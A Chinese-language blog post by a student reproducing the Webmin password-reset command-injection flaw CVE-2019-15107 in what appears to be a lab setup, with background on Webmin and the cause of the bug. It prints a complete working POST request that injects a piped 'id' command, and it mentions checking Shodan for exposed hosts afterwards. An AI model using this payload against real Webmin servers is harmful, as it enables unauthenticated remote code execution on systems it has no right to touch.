前言
學習linux運維的應該很熟悉webmin,本人學校最近剛開始上這個課也需要用到webmin,既然碰到這個當然不能放過想着把漏洞復現一下
Webmin 遠程命令執行漏洞(CVE-2019-15107)
webmin工具介紹
- webmin是一個基於web的系統管理界面。藉助任何支持表格和表單的瀏覽器,你就可以設置用戶賬號、DNS、apache、文件共享等。webmin包括一個簡單的web服務器和許多cgi程序,這些程序可以直接修改系統文件,比如/etc/inetd.conf和/etc/passwd。web服務器和所有的cgi程序都是Perl5編寫的,沒有使用任何非標準的Perl模塊,也就是說,webmin是一個用Perl語言寫的、可以通過瀏覽器管理Linux軟件。
Webmin是一個用於管理類Unix系統的管理配置工具,其默認端口是10000,具有Web頁面。在其找回密碼頁面中,存在一處無需權限的命令注入漏洞,通過這個漏洞攻擊者即可以執行任意系統命令。
漏洞復現
進入環境訪問your-ip:10000會顯示,This web server is running in SSL mode. Try the URL https://c16949cecfbd:10000/ instead.
需要進入配置文件/etc/webmin/miniserv.conf中將ssl設置爲0,就能正常訪問了
根據文件中提示發送發送如下數據包,即可執行命令id
:
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
如圖,瀏覽器返回內容中顯示了id命令執行的結果。
這裏是利用密碼重置功能發生了缺陷,對用戶輸入未進行過濾,通過管道符實現命令執行
ps:只有在發送的user參數的值不是已知Linux用戶的情況下,纔會進入到修改/etc/shadow
的地方,觸發命令注入漏洞。
漏洞復現完成後去shodan瞧了瞧
之前對webmin不瞭解,我覺得現在應該去熟悉一下webmin了。。。